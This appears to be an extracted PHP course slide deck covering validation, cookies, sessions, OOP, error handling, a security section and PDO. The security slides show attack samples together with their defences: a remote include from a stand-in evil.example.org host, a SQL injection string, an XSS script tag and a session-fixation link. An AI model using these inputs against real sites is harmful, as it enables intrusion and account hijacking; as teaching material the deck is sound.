  • 181. Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } $clean = array(); Initialise an array to store filtered data.
  • 182. Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } if (ctype_alnum($_POST['username'])) Inspect username to make sure that it is alphanumeric.
  • 183. Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } $clean['username'] = $_POST['username']; If it is, store it in the array.
  • 184. Is it submitted? We also need to check before accessing data to see if the data is submitted, use isset() function. if (isset($_POST[‘username’])) { // perform validation }
  • 186. Eh? Now we know how to check whether or not user inputs conform to our rules… … we need to handle gracefully when they fail! User inputs come from forms, and we need to work out how to re-display forms on input validation failure.
  • 187. What are we shooting for? Bullet-proof validation. On validation failure, form should be re-displayed to the user. Don’t make the user fill in fields again that they’ve already done correctly. We want to have to write the form html only once. If validation fails, the user needs some feedback.
  • 188. The One True Way? There are multiple ways to achieve this.. I am going to demonstrate ONE way, but you should be aware that it’s not the ONLY way.
  • 189. Single Page Make the form submit to the same page. Why? It keeps everything in one place, and means you only write the form once. <form action="<?phpecho$_SERVER['PHP_SELF']; ?>" method="post" …
  • 190. Page Logic if (form has been submitted) { // validate form } if (valid submission) { // action data } else { // (re)display form }
  • 191. Validation.. if (form has been submitted) { // validate form } …can be implemented as… if (isset($_POST[‘submit’])) { // validate form }
  • 192. Maintain separation Maintaining separation between validated and un-validated data helps prevent you make mistakes. $_POST $clean UNSAFESAFE
  • 193. Accumulate errors.. $errors = 0; $errmsg = ‘’; $clean = array(); if (isset($_POST[‘submit’])) { if ($_POST[‘value’] is VALID) { $clean[‘value’] = $_POST[‘value’]; } else { $errors++; $errmsg .= ‘data not valid because…’; } // continue testing other fields.. }
  • 194. Now to action or display.. if (form has been submitted) { // validate form } if (valid submission) { // action data } else { // (re)display form }
  • 195. Now to action or display.. if (isset($_POST[‘submit’])) && $errors===0) { // action data } else { // (re)display form }
  • 196. Redisplay form (1) // if (re)displaying form: print // error message if redisplaying if ($error>0) { echo“<p>errors: $errmsg</p>"; }
  • 197. Redisplay form (2) <label for=“email">Email:</label> <input name=“email" size="40" value="<?phpecho isset($clean[‘email']) ? htmlentities($clean[‘email']) : ‘default'; ?>" id=“email" type="text“ />
  • 198. Maintaining State in PHPPart I - Cookies
  • 199. xHTML - a ‘stateless’ environment stateless (adj.) Having no information about what occurred previously. Most modern applications maintain state, which means that they remember what you were doing last time you ran the application, and they remember all your configuration settings. This is extremely useful because it means you can mould the application to your working habits. Each request for a new web page is processed without any knowledge of previous pages requested or processed.
  • 200. How do they do that? For example: A user ‘logs in’ to a web page. Once logged in, the user can browse the site while maintaining their logged in state.
  • 201. Is PHP stateless? Variables are destroyed as soon as the page script finishes executing. The script can access the ‘referrer’, the address of the previous page, although this can’t really be trusted. $_SERVER['HTTP_REFERER'] It is possible to add data to a database/text file to add persistent data, although this is not connected with a particular user…
  • 202. Is PHP Stateless… No! The usual way to maintain state in PHP pages is via the use of Sessions. To understand how these work, we need to have a look at what and how cookies are..
  • 203. What is a Cookie? A cookie is a small text file that is stored on a user’s computer. Each cookie on the user’s computer is connected to a particular domain. Each cookie be used to store up to 4kB of data. A maximum of 20 cookies can be stored on a user’s PC per domain.
  • 204. Example (1) 1. User sends a request for page at www.example.com for the first time. page request
  • 205. Example (2) 2. Server sends back the page xhtml to the browser AND stores some data in a cookie on the user’s PC. xhtml cookie data
  • 206. Example (1) 3. At the next page request for domain www.example.com, all cookie data associated with this domain is sent too. page request cookie data
  • 207. Set a cookie setcookie(name [,value [,expire [,path [,domain [,secure]]]]]) name = cookie name value = data to store (string) expire = UNIX timestamp when the cookie expires. Default is that cookie expires when browser is closed. path = Path on the server within and below which the cookie is available on. domain = Domain at which the cookie is available for. secure = If cookie should be sent over HTTPS connection only. Default false.
  • 208. Set a cookie - examples setcookie(‘name’,’Robert’) This command will set the cookie called name on theuser’s PC containing the data Robert. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted when the browser is closed (default expire).
  • 209. Set a cookie - examples setcookie(‘age’,’20’,time()+60*60*24*30) This command will set the cookie called age on theuser’s PC containing the data 20. It will be available to all pages in the same directory or subdirectory of the page that set it (the default path and domain). It will expire and be deleted after 30 days.
  • 210. Set a cookie - examples setcookie(‘gender’,’male’,0,’/’) This command will set the cookie called gender on theuser’s PC containing the data male. It will be available within the entire domain that set it. It will expire and be deleted when the browser is closed.
  • 211. Read cookie data All cookie data is available through the superglobal $_COOKIE: $variable = $_COOKIE[‘cookie_name’] or $variable = $HTTP_COOKIE_VARS[‘cookie_name’]; e.g. $age = $_COOKIE[‘age’]
  • 212. Storing an array.. Only strings can be stored in Cookie files. To store an array in a cookie, convert it to a string by using the serialize() PHP function. The array can be reconstructed using the unserialize() function once it had been read back in. Remember cookie size is limited!
  • 213. Delete a cookie To remove a cookie, simply overwrite the cookie with a new one with an expiry time in the past… setcookie(‘cookie_name’,’’,time()-6000) Note that theoretically any number taken away from the time() function should do, but due to variations in local computer times, it is advisable to use a day or two.
  • 214. To be first.. HEADER REQUESTS As the setcookie command involves sending a HTTP header request, it must be executed before any xhtml is echoed to the browser, including whitespace. echoed whitespace before setcookie correct! incorrect.
  • 215. Malicious Cookie Usage There is a bit of a stigma attached to cookies – and they can be maliciously used (e.g. set via 3rd party banner ads). The important thing to note is that some people browse with them turned off. e.g. in FF, Tools > Options > Privacy
  • 216. The USER is in control Cookies are stored client-side, so never trust them completely: They can be easily viewed, modified or created by a 3rd party. They can be turned on and off at will by the user.
  • 217. Maintaining State in PHPPart II - Sessions
  • 218. So…
  • 219. How do ‘Sessions’ work? They are based on assigning each user a unique number, or session id. Even for extremely heavy use sites, this number can for all practical purposes can be regarded as unique. e.g. 26fe536a534d3c7cde4297abb45e275a
  • 220. How do ‘Sessions’ work? This session id is stored in a cookie, or passed in the URL between pages while the user browses. The data to be stored (e.g. name, log-in state, etc.) is stored securely server-side in a PHP superglobal, and referenced using the session id.
  • 221. Crucially, sessions are easy to implement as PHP does all the work!
  • 222. Starting or Resuming a Session session_start(); PHP does all the work: It looks for a valid session id in the $_COOKIE or $_GET superglobals – if found it initializes the data. If none found, a new session id is created. Note that like setcookie(), this function must be called before any echoed output to browser.
  • 223. Starting or Resuming a Session session_start(); When doing anything with sessions, this is always called first!
  • 224. Storing Session Data The $_SESSION superglobal array can be used to store any session data. e.g. $_SESSION[‘name’] = $name; $_SESSION[‘age’] = $age;
  • 225. Reading Session Data Data is simply read back from the $_SESSION superglobal array. e.g. $name = $_SESSION[‘name’]; $age = $_SESSION[‘age’];
  • 226. Session Propagation Sessions need to pass the session id between pages as a user browses to track the session. It can do this in two ways: Cookie propagation URL propagation
  • 227. Cookie Propagation A cookie is stored on the users PC containing the session id. It is read in whenever session_start(); is called to initialize the session. Default behaviour is a cookie that expires when the browser is closed. Cookie properties can be modified with session_set_cookie_params if required.
  • 228. URL Propagation The session id is propagated in the URL (…some_folder/index.php?sid=26fe536a534d3c7cde4297abb45e275a) PHP provides a global constant to append the session id to any internal links, SID. e.g. <a href="nextpage.php?<?=SID?>">Next page</a>
  • 229. Which one..? The default setup of a PHP server is to use both methods. it checks whether the user has cookies enabled. If cookies are on, PHP uses cookie propagation. If cookies are off it uses URL propagation.
  • 230. And this means..? That as developers, we must be aware that sessions can be propagated through URL, and append the constant SIDto any internal links. If sessions are being propagated by cookies, the constant SID is an empty string, so the session id is not passed twice.
  • 231. Destroying a Session Often not required, but if we want to destroy a session: // clear all session variables $_SESSION = array(); // delete the session cookie if there is one if (isset($_COOKIE[session_name()])) { setcookie(session_name(),'',time()-42000,'/'); } // destroy session session_destroy(); // avoid reusing the SID by redirecting // back to the same page to regenerate session header('Location: '.$_SERVER['PHP_SELF']);
  • 232. Session Expiry By default, PHP sessions expire: after a certain length of inactivity (default 1440s), the PHP garbage collection processes deletes session variables. Important as most sessions will not be explicitly destroyed. if propagated by cookies, default is to set a cookie that is destroyed when the browser is closed. If URL propagated, session id is lost as soon as navigate away from the site.
  • 233. Long-term Sessions Although it is possible to customize sessions so that they are maintained after the browser is closed, for most practical purposes PHP sessions can be regarded as short-term. Long-term session data (e.g. ‘remember me’ boxes) is usually maintained by explicitly setting and retrieving cookie data.
  • 234. Session Hi-jacking A security issue: if a malicious user manages to get hold of an active session id that is not their own.. e.g. user 1 browsing site with cookies disabled (URL propagation). user 1 logs in. user 1 sends an interesting link to user 2 by email.. The URL copy and pasted contains his session id. user 2 looks at the link before session id is destroyed, and ‘hijacks’ user 1’s session. user 2 is now logged in as user 1!!
  • 235. … rule of thumb … If you are truly security conscious you should assume that a session propagated by URL may be compromised. Propagation using cookies is more secure, but still not foolproof..
  • 236. PHP Classes and Object Orientation
  • 237. Reminder… a function Reusable piece of code. Has its own ‘local scope’. function my_func($arg1,$arg2) { << function statements >> }
  • 238. Conceptually, what does a function represent? …give the function something (arguments), it does something with them, and then returns a result… Action or Method
  • 239. What is a class? Conceptually, a class represents an object, with associated methods and variables
  • 240. Class Definition <?php class dog { public $name; public function bark() { echo‘Woof!’;} } ?> An example class definition for a dog. The dog object has a single attribute, the name, and can perform the action of barking.
  • 241. Class Definition <?php class dog { public $name; public function bark() { echo‘Woof!’;} } ?> Define the name of the class. class dog {
  • 242. Class Definition <?php class dog { var $name public function bark() { echo‘Woof!’;} } ?> public $name; Define an object attribute (variable), the dog’s name.
  • 243. Class Definition Define an object action (function), the dog’s bark. <?php class dog { public $name; function bark() { echo‘Woof!’;} } ?> public function bark() { echo‘Woof!’;}
  • 244. Class Definition <?php class dog { public $name; public function bark() { echo‘Woof!’;} } ?> End the class definition }
  • 245. Class Defintion Similar to defining a function.. The definition does not do anythingby itself. It is a blueprint, or description, of an object. To do something, you need to use the class…
  • 246. Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?>
  • 247. Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> require(‘dog.class.php’); Include the class definition
  • 248. Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> $puppy = new dog(); Create a new instance of the class.
  • 249. Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> $puppy->name = ‘Rover’; Set the name variable of this instance to ‘Rover’.
  • 250. Class Usage Use the name variable of this instance in an echo statement.. <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> echo “{$puppy->name} says ”;
  • 251. Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> $puppy->bark(); Use the dog object bark method.
  • 252. Class Usage <?php require(‘dog.class.php’); $puppy = new dog(); $puppy->name = ‘Rover’; echo “{$puppy->name} says ”; $puppy->bark(); ?> [example file: classes1.php]
  • 253. One dollar and one only… $puppy->name = ‘Rover’; The most common mistake is to use more than one dollar sign when accessing variables. The following means something entirely different.. $puppy->$name = ‘Rover’;
  • 254. Using attributes within the class.. If you need to use the class variables within any class actions, use the special variable $this in the definition: class dog { public $name; public function bark() { echo $this->name.‘ says Woof!’; } }
  • 255. Constructor methods A constructor method is a function that is automatically executed when the class is first instantiated. Create a constructor by including a function within the class definition with the __construct name. Remember.. if the constructor requires arguments, they must be passed when it is instantiated!
  • 256. Constructor Example <?php class dog { public $name; public function__construct($nametext) { $this->name = $nametext; } public function bark() { echo ‘Woof!’;} } ?> Constructor function
  • 257. Constructor Example <?php … $puppy = new dog(‘Rover’); … ?> Constructor arguments are passed during the instantiation of the object.
  • 258. Class Scope Like functions, each instantiated object has its own local scope. e.g. if 2 different dog objects are instantiated, $puppy1 and $puppy2, the two dog names $puppy1->name and $puppy2->name are entirely independent..
  • 259. Inheritance The real power of using classes is the property of inheritance – creating a hierarchy of interlinked classes. dog parent children poodle alsatian
  • 260. Inheritance The child classes ‘inherit’ all the methods and variables of the parent class, and can add extra ones of their own. e.g. the child classes poodle inherits the variable ‘name’ and method ‘bark’ from the dog class, and can add extra ones…
  • 261. Inheritance example The American Kennel Club (AKC) recognizes three sizes of poodle -  Standard, Miniature, and Toy… class poodle extends dog { public $type; public function set_type($height) { if ($height<10) { $this->type = ‘Toy’; } elseif ($height>15) { $this->type = ‘Standard’; } else { $this->type = ‘Miniature’; } } }
  • 262. Inheritance example The American Kennel Club (AKC) recognizes three sizes of poodle -  Standard, Miniature, and Toy… class poodle extends dog { public $type public function set_type($height) { if ($height<10) { $this->type = ‘Toy’; } elseif ($height>15) { $this->type = ‘Standard’; } else { $this->type = ‘Miniature’; } } } class poodle extends dog { Note the use of the extends keyword to indicate that the poodle class is a child of the dog class…
  • 263. Inheritance example … $puppy = new poodle(‘Oscar’); $puppy->set_type(12); // 12 inches high! echo“Poodle is called {$puppy->name}, ”; echo“of type {$puppy->type}, saying “; echo $puppy->bark(); …
  • 264. …a poodle will always ‘Yip!’ It is possible to over-ride a parent method with a new method if it is given the same name in the child class.. class poodle extends dog { … public function bark() { echo ‘Yip!’; } … }
  • 265. Child Constructors? If the child class possesses a constructor function, it is executed and any parent constructor is ignored. If the child class does not have a constructor, the parent’s constructor is executed. If the child and parent does not have a constructor, the grandparent constructor is attempted… … etc.
  • 266. Objects within Objects It is perfectly possible to include objects within another object.. class dogtag {    public $words;}class dog {    public $name;    public $tag;    public function bark() {        echo "Woof!";    }} … $puppy = new dog;$puppy->name = “Rover";$poppy->tag = new dogtag;$poppy->tag->words = “blah”; …
  • 267. Deleting objects So far our objects have not been destroyed till the end of our scripts.. Like variables, it is possible to explicitly destroy an object using the unset() function.
  • 268. A copy, or not a copy.. Entire objects can be passed as arguments to functions, and can use all methods/variables within the function. Remember however.. like functions the object is COPIED when passed as an argument unless you specify the argument as a reference variable &$variable
  • 269. Why Object Orientate? Reason 1 Once you have your head round the concept of objects, intuitively named object orientated code becomes easy to understand. e.g. $order->display_basket(); $user->card[2]->pay($order); $order->display_status();
  • 270. Why Object Orientate? Reason 2 Existing code becomes easier to maintain. e.g. If you want to extend the capability of a piece of code, you can merely edit the class definitions…
  • 271. Why Object Orientate? Reason 3 New code becomes much quicker to write once you have a suitable class library. e.g. Need a new object..? Usually can extend an existing object. A lot of high quality code is distributed as classes (e.g. http://pear.php.net).
  • 272. There is a lot more… We have really only touched the edge of object orientated programming… http://www.php.net/manual/en/language.oop.php … but I don’t want to confuse you too much!
  • 273. PHP4 vs. PHP5 OOP purists will tell you that the object support in PHP4 is sketchy. They are right, in that a lot of features are missing. PHP5 OOP system has had a big redesign and is much better. …but it is worth it to produce OOP code in either PHP4 or PHP5…
  • 275. Types There are 12 unique error types, which can be grouped into 3 main categories: Informational (Notices) Actionable (Warnings) Fatal
  • 276. Informational Errors Harmless problem, and can be avoided through use of explicit programming. e.g. use of an undefined variable, defining a string without quotes, etc. See class example error1.php
  • 277. Actionable Errors Indicate that something clearly wrong has happened and that action should be taken. e.g. file not present, database not available, missing function arguments, etc. See class example error2.php
  • 278. Fatal Errors Something so terrible has happened during execution of your script that further processing simply cannot continue. e.g. parsing error, calling an undefined function, etc. See class example error3.php
  • 279. Identifying Errors notice warning fatal
  • 280. Causing errors It is possible to cause PHP at any point in your script. trigger_error($msg,$type); e.g. … if (!$db_conn) { trigger_error(‘db conn failed’,E_USER_ERROR); } …
  • 282. Customizing Error Handling Generally, how PHP handles errors is defined by various constants in the installation (php.ini). There are several things you can control in your scripts however..
  • 283. 1. Set error reporting settings error_reporting($level) This function can be used to control which errors are displayed, and which are simply ignored. The effect only lasts for the duration of the execution of your script.
  • 284. 1. Set error reporting settings <?php // Turn off all error reporting error_reporting(0); // Report simple running errors error_reporting(E_ERROR | E_WARNING | E_PARSE); // Reporting E_NOTICE can be good too (to report uninitialized // variables or catch variable name misspellings ...) error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); // Report all errors except E_NOTICE error_reporting(E_ALL ^ E_NOTICE); // Report ALL PHP errors error_reporting(E_ALL); ?> See class example error4.php
  • 285. 1. Set error reporting settings Hiding errors is NOT a solution to a problem. It is useful, however, to hide any errors produced on a live server. While developing and debugging code, displaying all errors is highly recommended!
  • 286. 2. Suppressing Errors The special @ operator can be used to suppress function errors. Any error produced by the function is suppressed and not displayed by PHP regardless of the error reporting setting.
  • 287. 2. Suppressing Errors $db = @mysql_connect($h,$u,$p); if (!$db) { trigger_error(‘blah’,E_USER_ERROR); }
  • 288. 2. Suppressing Errors $db = @mysql_connect($h,$u,$p); if (!$db) { trigger_error(blah.',E_USER_ERROR); } $db = @mysql_connect($h,$u,$p); Attempt to connect to database. Suppress error notice if it fails..
  • 289. 2. Suppressing Errors $db = @mysql_connect($h,$u,$p); if (!$db) { trigger_error(blah.',E_USER_ERROR); } Since error is suppressed, it must be handled gracefully somewhere else.. if (!$db) { trigger_error(‘blah’,E_USER_ERROR); }
  • 290. 2. Suppressing Errors Error suppression is NOT a solution to a problem. It can be useful to locally define your own error handling mechanisms. If you suppress any errors, you must check for them yourself elsewhere.
  • 291. 3. Custom Error Handler You can write your own function to handle PHP errors in any way you want. You simply need to write a function with appropriate inputs, then register it in your script as the error handler. The handler function should be able to receive 4 arguments, and return true to indicate it has handled the error…
  • 292. 3. Custom Error Handler function err_handler( $errcode,$errmsg,$file,$lineno) { echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; return true; }
  • 293. 3. Custom Error Handler function err_handler( $errcode,$errmsg,$file,$lineno) { echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; return true; } $errcode,$errmsg,$file,$lineno) { The handler must have 4 inputs.. error code error message file where error occurred line at which error occurred
  • 294. 3. Custom Error Handler function err_handler( $errcode,$errmsg,$file,$lineno) { echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; return true; } echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; Any PHP statements can be executed…
  • 295. 3. Custom Error Handler function err_handler( $errcode,$errmsg,$file,$lineno) { echo‘An error has occurred!<br />’; echo“file: $file<br />”; echo“line: $lineno<br />”; echo“Problem: $errmsg”; return true; } Return true to let PHP know that the custom error handler has handled the error OK. return true;
  • 296. 3. Custom Error Handler The function then needs to be registered as your custom error handler: set_error_handler(‘err_handler’); You can ‘mask’ the custom error handler so it only receives certain types of error. e.g. to register a custom handler just for user triggered errors: set_error_handler(‘err_handler’, E_USER_NOTICE | E_USER_WARNING | E_USER_ERROR);
  • 297. 3. Custom Error Handler A custom error handler is never passed E_PARSE, E_CORE_ERROR or E_COMPILE_ERROR errors as these are considered too dangerous. Often used in conjunction with a ‘debug’ flag for neat combination of debug and production code display.. See class example error5.php
  • 298. Review Various different error types exist in PHP. The error handling system is highly flexible, and your own error handling methods can be developed.
  • 300.
  • 301.
  • 302.
  • 303. Filtering Process by which you inspect data to prove its validity. Adopt a whitelist approach if possible: assume the data is invalid unless you can prove otherwise. Useless unless you can keep up with what has been filtered and what hasn’t…
  • 304. Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; }
  • 305. Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } $clean = array(); Initialise an array to store filtered data.
  • 306. Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } if (ctype_alnum($_POST['username'])) Inspect username to make sure that it is alphanumeric.
  • 307. Filter example $clean = array(); if (ctype_alnum($_POST['username'])) { $clean['username'] = $_POST['username']; } $clean['username'] = $_POST['username']; If it is, store it in the array.
  • 308. Escaping Output Process by which you escape characters that have a special meaning on a remote system. Unless you’re sending data somewhere unusual, there is probably a function that does this for you.. The two most common outputs are xhtml to the browser (use htmlentities()) or a MYSQL db (use mysql_real_escape_string()).
  • 309. Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo"<p>Welcome back, {$xhtml['username']}.</p>";
  • 310. Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo"<p>Welcome back, {$xhtml['username']}.</p>"; $xhtml = array(); Initialize an array for storing escaped data.
  • 311. Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo"<p>Welcome back, {$xhtml['username']}.</p>"; $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); Escape the filtered username, and store it in the array.
  • 312. Escape example $xhtml = array(); $xhtml['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8'); echo"<p>Welcome back, {$xhtml['username']}.</p>"; echo"<p>Welcome back, {$xhtml['username']}.</p>"; Send the filtered and escaped username to the client.
  • 313. That’s it! If you follow these rules religiously, you will produce secure code that is hard to break. If you don’t, you will be susceptible to.. Next: COMMON ATTACK METHODS
  • 314. Register Globals: Eh? All superglobal variable array indexes are available as variable names.. e.g. in your scripts: $_POST[‘name’] is available as $name $_COOKIE[‘age’] is available as $age Most PHP installations have this option turned off, but you should make sure your code is secure if it is turned on.
  • 315. Register Globals: Example <?phpinclude"$path/script.php"; ?> If you forget to initialise $path, and have register_globals enabled, the page can be requested with ?path=http%3A%2F%2Fevil.example.org%2F%3F in the query string in order to equate this example to the following: include'http://evil.example.org/?/script.php'; i.e. a malicious user can include any script in your code..
  • 316. Register Globals: Solution Be aware that with register globals on, any user can inject a variable of any name into your PHP scripts. ALWAYS EXPLICITLY INITIALISE YOUR OWN VARIABLES!
  • 317. Spoofed Forms: Eh? Be aware that anybody can write their own forms and submit them to your PHP scripts. For example, using a select, checkbox or radio button form input does not guarantee that the data submitted will be one of your chosen options…
  • 318. Spoofed Forms: Example The form written by a web developer to be submitted to a page: <form action="/process.php" method="POST"> <select name="colour"> <option value="red">red</option> <option value="green">green</option> <option value="blue">blue</option> </select> <input type="submit" /> </form> The user writes their own form to submit to the same page: <form action="http://example.org/process.php" method="POST"> <input type="text" name="colour" /> <input type="submit" /> </form>
  • 319. Spoofed Forms: Solution Users can submit whatever they like to your PHP page… and it will be accepted as long as it conforms to your rules. Make sure all your rules are checked by the PHP external data filter, don’t rely on a form to exert rules for you.. They can be changed!
  • 320. Session Fixation: Eh? Session attacks nearly always involve impersonation – the malicious user is trying to ‘steal’ someone else’s session on your site. The crucial bit of information to obtain is the session id, and session fixation is a technique of stealing this id.
  • 321. Session Fixation: Eh? 1. The malicious user hosts a page with links to your site/emails around spam links to your site with a session id already set. … <a href=“http://example.com/index.php?PHPSESSID=1234” …
  • 322. Session Fixation: Eh? 2. A client follows one of these links and is directed to your site, where they login. 3. Now.. the malicious user knows the session id (he/she set it!), and can ‘hijack’ the session by browsing to your site using the same session id. 4. Malicious user is now logged in as one of your legitimate clients. Ooops.
  • 323. Session Fixation: Solution To protect against this type of attack, first consider that hijacking a session is only really useful after the user has logged in or otherwise obtained a heightened level of privilege. If we regenerate the session identifier whenever there is any change in privilege level (for example, after verifying a username and password), we will have practically eliminated the risk of a successful session fixation attack.
  • 324. Session Fixation: Solution session_regenerate_id() Conveniently, PHP has a function that does all the work for you, and regenerates the session id. Regenerate the session id using this function before any change in privilege level.
  • 325. SQL Injection: Eh? The goal of SQL injection is to insert arbitrary data, most often a database query, into a string that’s eventually executed by the database.
  • 326. SQL Injection: Example Consider this query executed in PHP on a MYSQL db, where the email text has been submitted from the user: “SELECT * FROM members WHERE email = ‘{$_POST[‘email’]}’”
  • 327. SQL Injection: Example The use of $_POST[..] in the query should immediately raise warning flags. Consider if a user submitted the following email: dummy’ OR ‘x’=‘x The query now becomes, SELECT * FROM members WHERE email = ‘dummy’ OR ‘x’=‘x’ ..which will return the details of all members!
  • 328. SQL Injection: Solution Filter input data. Quote your data. If your database allows it (MySQL does), put single quotes around all values in your SQL statements, regardless of the data type. Escape your data. For a MySQL db, use the function mysql_real_escape_string()
  • 329. Accessing Credentials Sometimes you need to store sensitive data on your server such as database passwords, usernames, etc. There are various options…
  • 330. Accessing Credentials Don’t store passwords in an included file without a *.php extension but in a web accessible directory…! You can store in a *.php file under the root (i.e. web accessible). OK, but not great. If your PHP parse engine fails, this data will be on plain view to the entire world. Better, is to keep as much code as possible, including definition of passwords, in included files outside of the web accessible directories. With an Apache server, there are various techniques to include passwords and usernames as environment variables, accessed in PHP by the $_SERVER superglobal. worst best
  • 331. Cross-Site Scripting (XSS) This is a good example of why you should always escape all output, even for xhtml… echo"<p>Welcome back, {$_GET['username']}.</p>"; echo"<p>Welcome back, <script>...</script>.</p>";
  • 332. XXS: The Solution And again.. Filter input. Escape Output. Be especially careful if you are writing user input to a file, which is later included into your page.. Without checking, the user can then write their own PHP scripts for inclusion.
  • 333. The ‘magic’ of PHP Recent versions of PHP have gone some way to tightening security, and one of the newer things is ‘magic quotes’. If turned on, this automatically escapes quotation marks and backslashes in any incoming data. Although useful for beginners, it cannot be relied upon if you want to write portable code. http://docs.php.net/en/security.magicquotes.html
  • 334. The ‘magic’ of PHP: banished! To know where you are starting from, you can use the get_magic_quotes_gpc() function to tell if they are on or off. To start from a consistent point, use stripslashes() to remove any escape characters added by ‘magic quotes’. e.g. if (get_magic_quotes_gpc()) { $thing = stripslashes($_POST[‘thing’]); }
  • 335. Phew.. But don’t panic! Open Source PHP code needs to be rock solid in terms of security, as everyone can look through the code. In your bespoke solutions, malicious users will have to try to guess.. Much harder!
  • 336. Review Filter Input + Escape Output = Secure Code
  • 337. PHP Data Object (PDO)
  • 338. What is PDO? PDO is a PHP extension to formalise PHP's database connections by creating a uniform interface. This allows developers to create code which is portable across many databases and platforms. PDO is not just another abstraction layer like PEAR DB or ADOdb.
  • 339. Why use PDO? Portability Performance Power Easy Runtime Extensible
  • 340. What databases does it support? Microsoft SQL Server / Sybase Firebird / Interbase DB2 / INFORMIX (IBM) MySQL OCI (Oracle Call Interface) ODBC PostgreSQL SQLite
  • 341. DSNs In general drivername:<driver-specific-stuff> mysql:host=name;dbname=dbname odbc:odbc_dsn oci:dbname=dbname;charset=charset sqlite:/path/to/db/file sqlite::memory:
  • 343. Connect to SQLite (file)
  • 344. Connect to SQLite (memory)
  • 347. Close a Database Connection
  • 348. Persistent PDO Connection Connection stays alive between requests $dbh = new PDO($dsn, $user, $pass, array( PDO_ATTR_PERSISTENT => true ) );